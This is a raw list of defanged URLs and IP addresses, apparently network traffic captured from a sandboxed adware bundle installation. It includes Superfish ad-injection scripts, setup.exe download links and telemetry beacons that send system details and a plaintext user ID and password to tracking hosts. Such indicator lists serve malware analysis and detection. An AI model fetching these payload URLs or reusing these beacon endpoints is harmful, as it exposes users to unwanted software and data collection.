hxxp://d2wy0yopxw6nne.cloudfront.net/images/Tokyo/tokyo_sprite_full.png 54.230.200.78
hxxp://www.appshat.com/js/scripts.js
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=4mC0vXGWFtoJz2TpdH2qbCHCCdGv/L44zsntEvjGDPJAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTcW0MAg1soRVoKcd13kdQ6ezgRpy NDNbQiqwkDab6jzxP0Yeo45C59vFMPnDLA4k/ 7rPtSKe/ Bucs0iBJB6to77UvoFFdoZWOvghCBTr/YNeFbKg7t0VKYX3Ti/i3YNrVMaqjjilw4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A=
hxxp://www.superfish.com/ws/slideup2/main.js?ver=2015.2.11.10.1
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=2v0SNuZrMFxVoN1r7EPlay0i4Lp/1ApcW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZgNhnec1Ge0/mXgn8p3jh6JpZis9f nTddyS4BuUDC9VQA9W/s5rcJ2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSnVVtabIF BvhYbeigyBf5c8cWrPn4Yd2GkxKTO1vkL0NpigFYnsU8E=
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&0.6800499185805007
hxxp://www.appshat.com/thumbnails/icon/images/assets/e/9/e94782c9200f8de809a50327879df1cc.png
hxxp://flex.msn.com/mstag/mstag.1003102000.js
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=qIQu8 l0/f0hwgnRr/y ODjso8IixxXcQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerYlunopVUmMPD5Sh2iPx4Tl/DvTHZIAKtATxIUcsgQ wusjSmD/os8shJkdH5jOhAHvojBYZTAl2SDGL01oIa7jD3Psqw12eBUNQkrQodbn4W0C6B oLg2/kIgqoM4zGjB6RUS1Mgh81BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLa5/6I3/Sv7o41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCYXwql6nKegU
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=/k6kR j50tprzMCAALYrPS0i4Lp/1Apcsg7jyZ2P5QEQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZj0N7bp/0QtQiDxPRY4o5upR90anDedSCVfvEq2UlL/9rBhx7ksr4wcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM=
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTi0dT3oZebpKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXOvLBF7h Ky091qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEK3NE8U9vFRP&product=EXTFirefox&rnd=1423719207&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js?v=230&domain=zb8da386b03122aa41bea079711f430f5zce210e711f94f3dfb9aba8a77e2128c8z270e890f3e9baacc96c0d9428a3195d7zfa7c8af5304a3392922f34e32b677892zf5dde6ea6b27bdcacbac28274daf3a00ze3a52fd8f8d85a0733e461f9a6fd8f2dz50cfd0ac63ed9d9916963ee201fbb0b7z732a17dd70f8fe3c0de4230a126fd8a5&geo=UA
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=043Mckb8Lnhw7iCtSAyu/yHCCdGv/L44E f21Fb kDFAXdQqxJ1va3sc7hbJtTJH b/YhL9w2PTXoMXpqBnYfe/II5CuokaC4u3oGHN86wOx2KlVs8m8LqSlVGmgAnwDCNiNeNKIpAKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf 54.230.200.21
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/d/5dbc29649669598ff43174b9ee730008.png
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tQCStN3CXsH1z3Wq2vKHOHM18XJvxFXM1O iRnR3GvMMqGqHUvozE8Qrc0TxT28VE8=
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl
hxxp://www.appshat.com/thumbnails/icon/images/assets/e/5/e54e8c720dffffa619c3b0eacec9381a.png
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=LCnUzM5l8JJPNjxRBLtb43WV/K5S1jMMHBKWDIV8zAkBs1cIYKb7ZGdRFBwnwwdKn9lhu9AC b75vTB/nfdzLzS1V5B6ruZrO2Em6vejOf HMa5E8LXYXSj4RBWOV2QSTzF53EHpwgtyRdUuNvgXmiJjxUWJId3o/Qw8XQfCF9/yDm Tv6gBM4QKV7JoYf3gQcOav1fvIInFToJxGXpok7Mp5a5JKLY87W51EkWHuTE0Kgz3DgrMV4I7vi/2haichogHqsVrPIC9mPgtLiusepFPUHuy8/GWQcOav1fvIInFToJxGXpok7Mp5a5JKLY8XOE7K YpdD4dbvlBlCBXIIXRdvEjd6Yh8vms14atiO9Dyp9UMyAFutCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPkDtNnW3aPgXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW ax5eone962kAkrTdwl7B9c91qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEK3NE8U9vFRP
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1423719230 54.231.1.228
hxxp://dl.newinputinfoservice.com/smt2b/all/hat/row/setup.exe 69.16.175.10
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js 216.58.209.202
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.2245044513063113
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wQ1V8jD1/9CmtYGP8lbxXf8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM=
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=572a1153-8705-4466-affe-b5bad540fde1&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU3MmExMTUzLTg3MDUtNDQ2Ni1hZmZlLWI1YmFkNTQwZmRlMSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423719247&aff=smtycl&ver=2.6.8418.1499&usid=2858020935-2156992550-3658131804
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=/9ZmISdorEtPNjxRBLtb4z2yFYVisXUyt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilF/EkTZWnXTPW1yq4on4Rvc8RxxVe7Z8IarcpfKrbJudMS6E ZVjGvzP/pHSI lRPAjc/9GqmaG9iEnhH14nzCmezS8dyds6vSws0phWZ1n8PSgZZs8q9v7HOZnSWChaSpbNcI6Uy014FEViCvyDnuRmJS/CStLJjeyp jPa4cTPVQyB/VFyE6ekC9hdIYNUYkg9A4falvkDLKn6M9rhxM9haQk ISTImB1r7eUKROODOt6uHPFnMeOWMsdtJPIe71c8MUoLRkKu/xJo1EJGyYRPKewvcYQT1OmtMkc3CdMm/HJvXTg/akCAO3s1/FmYFjO2vDD70UhafnHhQBt5SN5fyaauBUvQVow01McGk6sWOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/NpfoWuurb1IKcd13kdQ6ezgRpy NDNbQiqwkDab6jz6PofVZwOBoXx/48vBuBRiWOEog NNy6LA== 54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=eISsn0A7mAZPNjxRBLtb437DLUVG yVS/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo2Cu3v20uVgOYCpHZc9ZUaFTUkN5UKYy3QTxIUcsgQ wxQcgloBwSmP18uFGU5uC/aaLAE3zuIJ88SJA d bWCF57ufhnf2/kIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A=
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=iAb9K1DDBHUaXrHZgA5m3xPhu2Gcp8uIqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l59bC43VoLO9EMGHDQVw/vzGhU19XqFTVuS55OePfOVKxbaMNHmg 4ouIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/NpfoWuurb1IKcd13kdQ6ezgRpy NDNbQiqwkDab6jz6PofVZwOBoXtUYb9dqX32KOEog NNy6LA== 54.197.238.106
hxxp://www.appshat.com/thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png
hxxp://www.youtubeaccelerator.com/favicon.ico
hxxp://3026708.r.msn.com/?type=1&domainId=3026708&dedup=1&actionid=238238 207.46.194.3
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=572a1153-8705-4466-affe-b5bad540fde1&bn=IE&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU3MmExMTUzLTg3MDUtNDQ2Ni1hZmZlLWI1YmFkNTQwZmRlMSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423719247&aff=smtycl&ver=2.6.8418.1499&usid=2858020935-2156992550-3658131804
hxxp://logs.ourgendataservice.com/monetization.gif?event=3&ibic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423719224&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1423719224
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va m0xPwkWqeELO4NVqCHrKTs IILilpWF3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW QTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Up1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9DaYoBWJ7FPB
hxxp://www.google-analytics.com/r/collect?v=1&_v=j32&a=1485919846&t=pageview&_s=1&dl=http://www.appshat.com/home&ul=en-us&de=utf-8&dt=Apps Hat&sd=32-bit&sr=1716x901&vp=1018x770&je=0&_u=MEAAAAgAI~&jid=1664049211&cid=696509352.1423719242&tid=UA-42656881-1&_r=1&z=456628722
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&0.8012766320131816
hxxp://online.GOOBZO.com/online/Report.aspx
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p97T8dW3vpmMBQC drCF7eFnfXu8jqisF9cJKC1Reo3n9ppTNOjE5 LPSZuizlKZS4vVGidJQzQbwcX153juosl0uSr4audwd7JcEM/wt3T7JEXnUcAfrYQBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLa5/6I3/Sv7o41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCYXwql6nKegU
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1423719224 54.231.1.228
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png
hxxp://www.appshat.com/images/5.0stars.jpg
hxxp://install.sourceapp.info/mg?alpha=Wz1pHUZvAS5AdxMKRjdJWnk6EEZbe2tsN1tUYy0rXB4oeTIKN3RvWVAJaGoTAl1xTTouTw8acU45PjAkSDVTEDMjanVSTQtKQzZrVi9y
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=bdqY0vC4PYsaXrHZgA5m37gmbLfAutldqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFG88zk3vjcmKQHI/73rKtKucbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I8/ kdIj6VE8CNz/0aqZob2ISeEfXifMKZ7NLx3J2zq9LCzSmFZnWfwAUq9vGFcnz4PEn7DqvLFbw== 54.197.238.106
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png
hxxp://www.youtubeaccelerator.com/js/jquery-1.8.3.min.js
hxxp://d1mvy92rurx48h.cloudfront.net/mirror/mystartsearch/default/setup.exe
hxxp://install.sourceapp.info/mg?alpha=YTZ6HFt6LBseISMOVTZUXn84D14/dCx XQArfw==
hxxp://www.superfish.com/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.2.11.10.1
hxxp://www.appshat.com/images/4.5stars.jpg
hxxp://www.superfish.com/ws/retargeting/main.js?ver=2015.2.11.10.1
hxxp://www.superfish.com/ws/products/main.js?v=2015.2.11.10.1&partnername=pelmmbomol
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=t4TV4yXs13MhwgnRr/y OBPn9tRW/pAxQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerWiZCCrzprTQVjr4IQgU6/03VTKOu38TtLPiCC4paVhdM8IevpAZmQJO5dNaLjdAlkjy /njLKqyOfuXRRiyr57Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN 1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mNFS4PLhAi9H
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=2v0SNuZrMFxVoN1r7EPlay0i4Lp/1ApcW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZgNhnec1Ge09j/dHB7BZT3ABZGQjpShx/0JQd5HxgIXcyS07UkHqNsveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLGPTgpcaNhCc8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFpa4U6LaqLYoc=
hxxp://www.superfish.com/ws/getUD.action?dlsource=viktczu&userId=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&ver=15.2.8
hxxp://www.superfish.com/ws/js/base_single_icon.js?ver=2015.2.11.10.1
hxxp://www.appshat.com/thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png
hxxp://www.appshat.com/thumbnails/icon/images/assets/0/0/00c73f6d4e4eb25289dddb86e2d1e319.jpg
hxxp://clients1.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCBH5CtNBDuCd
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1423719229 54.231.1.228
hxxp://www.superfish.com/ws/sf_preloader.jsp?dlsource=viktczu&userId=572a115387054466affeb5bad540fde1&partnername=ShopperPro&CTID=xUSIF2Cwsmtycl&ver=2015.2.11.10.1
hxxp://www.superfish.com/ws/sf_code.jsp?dlsource=viktczu&userid=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&partnername=pelmmbomol&CTID=xUSIF2Cwsmtycl&ver=2015.2.11.10.1
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=W5y9y1UrGBkfAxEXghvnLIuhbiHzJsZX1VMaOJFqXYpxTYwWxYG9WArrnjIMl4VboUDW29 K3KYdJFCqlUjTGXf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== 54.230.200.21
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=M/g8cQcNP IaXrHZgA5m3xUhutYh79jv3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xbfNvkjTiX5DEsdSRpTTrrOw9/8 JsFyrXAEn1Ui8YxjjVDDR1s6LfAOPQgSHEw2 G6SHRxdq2MvD3uhzVRfMJIi5EI4eexb/M2kLK0Eh6GOhAyMRSteYLfy2nd2OoBNWZcVk3bWa3iMJb UIfjrRxmoi0CE64JPPM/9VP4YRizveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5x 9v0hi6ojl/pUrWo8oa7crjeLhXmjZt8aHXnj8PuXG3Qvw9wYyH SNz/0aqZob2ISeEfXifMKZ7NLx3J2zq9LCzSmFZnWfwxmk7Szj5ex8=
hxxp://www.appshat.com/thumbnails/icon/images/assets/8/3/83a4cee7a59522b93ed0ae1fa73ce8f3.png
hxxp://download.mozilla.org/?product=firefox-34.0.5-complete&os=win&lang=en-US 63.245.217.36
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1423719229 54.231.1.228
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=hXeqmv1IpelPNjxRBLtb4z2yFYVisXUyjPtK5w/dU0Nep0NzDIMSG9DLqLHxLpkMub ZrrC FYd4ibS7Xw5g1/Eh6MhNwuPKYtlM6o Ldza8zhm7PCJPoTnyoq vkmpgx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2WLdv2CKFfBluBMcUf8UemD9EYs0TzOu1
hxxp://www.superfish.com/ws/css/main.css?v=2015.2.11.10.1
hxxp://stats.ourgendataservice.com/installer.gif?action=finished&app=65743&appver=&ver=1_36_01_22&version_date=15-02-12&bic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&upi=d5d8d8a61601751d467a5854a16ce35a&procid=9A2ABFB48E9441079CD58F68DCE3DE0API&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=ClashProject&ieprofiles=na&chprofiles=na&ffprofiles=1&procstarttime=1423719224&procruntime=11&rnd=1423719235
hxxp://www.appshat.com/thumbnails/icon/images/assets/a/c/ac5196fbf245580eee113296dff14d0b.png
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=7291521e-e56c-4639-92af-ddebd5cb0120&Password=OBum1Uup&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423719195&SBPIDS=1&KA=1
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=t4TV4yXs13MhwgnRr/y OBPn9tRW/pAxQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerWiZCCrzprTQAhTD7v1xeC4SYGfoTYqXvAIcLERiDa7ohckeENmAaNkdHIW7Wi64sfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLGPTgpcaNhCc8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFpa4U6LaqLYoc=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaHFcCX3EQ9YUkJQv83eyjojkOB3v7aTq0ErWxcpBkHhSQ3kCpSb73om1nmEvUc rycjxAyq7usCx5qEgmrifKxnIUEs13PTDiJJ/15wKFrU1SGap/Piob7 3hNKfF7td emkMrAdFS1TQIhKKaZqZAwv bg5dpl36Bp5Vs8Xody8TJ/fTI8Igkteo22dEcMDgGQnzhNaSY3uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZeZpA1/oMhqqeAC 5wFKqfvTZXJoH7sCSNaltwz/viKW8JS5HT3qUqk=
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&0.9549590813020323
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9mPCGseo97LkKspGXq5ZiVjgb6v7cXpPuImJZrYkhmTozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3NpfoWuurb1IKcd13kdQ6ezgRpy NDNbQiqwkDab6jzz4OWYG8ynVz
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7291521e-e56c-4639-92af-ddebd5cb0120&Password=OBum1Uup&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423719195&SBPIDS=1&KA=1
